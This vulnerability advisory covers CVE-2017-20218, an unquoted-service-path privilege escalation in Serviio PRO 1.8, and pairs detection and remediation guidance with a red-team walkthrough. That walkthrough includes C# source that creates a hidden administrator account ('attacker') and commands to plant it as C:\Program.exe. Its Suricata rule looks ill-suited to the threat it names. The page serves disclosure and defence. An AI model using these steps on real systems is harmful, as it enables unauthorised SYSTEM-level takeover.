CVE-2017-20218
Executive Summary
CVE-2017-20218 is a high-severity (CVSS 7.8) privilege escalation vulnerability affecting Serviio PRO version 1.8 on Windows. The vulnerability stems from an unquoted service path combined with weak directory permissions, allowing authenticated local users to escalate privileges to SYSTEM. The attack vector is local, requiring low privileges and no user interaction. No official patch has been released, making this a permanent risk for any deployment running this version.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a standalone Windows application vulnerability.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Local (L) – Requires local access to the system.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs a standard user account.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full system compromise.
- Integrity (I): High (H) – Arbitrary code execution.
- Availability (A): High (H) – Service disruption possible.
Threat Level: High. The vulnerability is trivial to exploit and provides SYSTEM-level access.
Deep Dive & Mechanics
The vulnerability is a classic unquoted service path (CWE-428) combined with weak directory permissions. The Serviio PRO service is configured with a path that contains spaces and is not enclosed in quotes. For example, the service binary might be located at:
C:\Program Files\Serviio PRO\serviio.exe
When Windows starts the service, it interprets the path as:
C:\Program.exe(if found)C:\Program Files\Serviio.exe(if found)C:\Program Files\Serviio PRO\serviio.exe(the intended binary)
If an attacker can place a malicious executable named Program.exe or Serviio.exe in a location that Windows searches before the intended path, the service will execute the attacker's code with SYSTEM privileges.
Additionally, the C:\Program Files\Serviio PRO\ directory has weak permissions, allowing the Users group full access. This means an authenticated user can replace the legitimate serviio.exe with a malicious binary. When the service starts or the system reboots, the malicious binary runs as SYSTEM.
Vulnerable vs. Patched Code
Vulnerable Configuration (Serviio PRO 1.8):
The service is installed with an unquoted path. The service binary path in the registry (HKLM\SYSTEM\CurrentControlSet\Services\Serviio PRO) might look like:
ImagePath: C:\Program Files\Serviio PRO\serviio.exe
Patched Configuration (UNKNOWN):
No official patch exists. A proper fix would involve:
- Quoting the service path:
"C:\Program Files\Serviio PRO\serviio.exe" - Restricting permissions on the installation directory to only allow Administrators and SYSTEM to modify files.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Local access with a standard user account.
- The Serviio PRO service is installed and set to auto-start.
Exploitation Steps:
Identify the vulnerable service:
Get-CimInstance -ClassName Win32_Service | Where-Object {$_.PathName -like '*Serviio*'}Check directory permissions:
icacls "C:\Program Files\Serviio PRO"Place a malicious executable: Create a reverse shell or add a new admin user. For example, compile a C# executable that adds a user:
using System; using System.Diagnostics; namespace MaliciousService { class Program { static void Main() { Process.Start("net", "user attacker P@ssw0rd! /add"); Process.Start("net", "localgroup Administrators attacker /add"); } } }Place the compiled binary as
C:\Program.exeor replaceC:\Program Files\Serviio PRO\serviio.exe.Trigger execution:
- Reboot the system, or
- Restart the service:
Restart-Service "Serviio PRO"
Verify privilege escalation:
whoamiOutput should be
nt authority\system.
Blue Team
Detection Steps:
Monitor service path changes:
- Enable auditing on
HKLM\SYSTEM\CurrentControlSet\Services\Serviio PRO. - Alert on any modification to the
ImagePathvalue.
- Enable auditing on
Check for unquoted service paths:
Get-CimInstance -ClassName Win32_Service | Where-Object {$_.PathName -notlike '"*' -and $_.PathName -like '* *'}Audit directory permissions:
icacls "C:\Program Files\Serviio PRO" | Out-File -FilePath C:\audit\serviio_perms.txtMonitor process creation:
- Look for
Program.exeorServiio.exespawned fromC:\orC:\Program Files\. - Alert on unexpected child processes of the Serviio service.
- Look for
Indicators of Compromise (IOCs)
File Indicators:
C:\Program.exe(malicious)C:\Program Files\Serviio.exe(malicious)- Modified
C:\Program Files\Serviio PRO\serviio.exe(hash mismatch)
Process Indicators:
Program.exeorServiio.exerunning as SYSTEM from unexpected paths.- Unusual child processes (e.g.,
cmd.exe,powershell.exe) spawned by the Serviio service.
Registry Indicators:
- Unquoted
ImagePathinHKLM\SYSTEM\CurrentControlSet\Services\Serviio PRO.
- Unquoted
Network Indicators:
- Outbound connections from
Program.exeorServiio.exeto unknown IPs (if reverse shell used).
- Outbound connections from
Detection Engineering
YARA Rule
rule CVE_2017_20218_Serviio_Unquoted_Path
{
meta:
description = "Detects unquoted service path for Serviio PRO"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2017-20218"
strings:
$s1 = "Serviio PRO" nocase
$s2 = "ImagePath" nocase
$s3 = "C:\\Program Files\\Serviio PRO" nocase
condition:
$s1 and $s2 and $s3
}
Sigma Rule
title: Unquoted Service Path - Serviio PRO
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unquoted service path for Serviio PRO service
author: Valters IT
date: 2025-04-10
tags:
- attack.privilege_escalation
- attack.t1574.001
- cve.2017-20218
logsource:
category: registry_event
product: windows
detection:
selection:
TargetObject|contains: 'SYSTEM\CurrentControlSet\Services\Serviio PRO'
Details|contains: 'C:\Program Files\Serviio PRO'
Details|notcontains: '"'
condition: selection
falsepositives:
- Unknown
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2017-20218 Serviio PRO Potential Reverse Shell"; flow:to_server,established; content:"Program.exe"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
Quote the service path manually:
sc config "Serviio PRO" binPath="\"C:\Program Files\Serviio PRO\serviio.exe\""Restrict directory permissions:
icacls "C:\Program Files\Serviio PRO" /inheritance:r /grant "SYSTEM:(OI)(CI)F" /grant "Administrators:(OI)(CI)F" /grant "Users:(OI)(CI)RX"Monitor for exploitation attempts using the provided detection rules.
Long-term Fix:
- Upgrade to a patched version if one becomes available.
- Consider migrating to an alternative media server solution that is actively maintained.
Valters IT – Securing your digital frontier.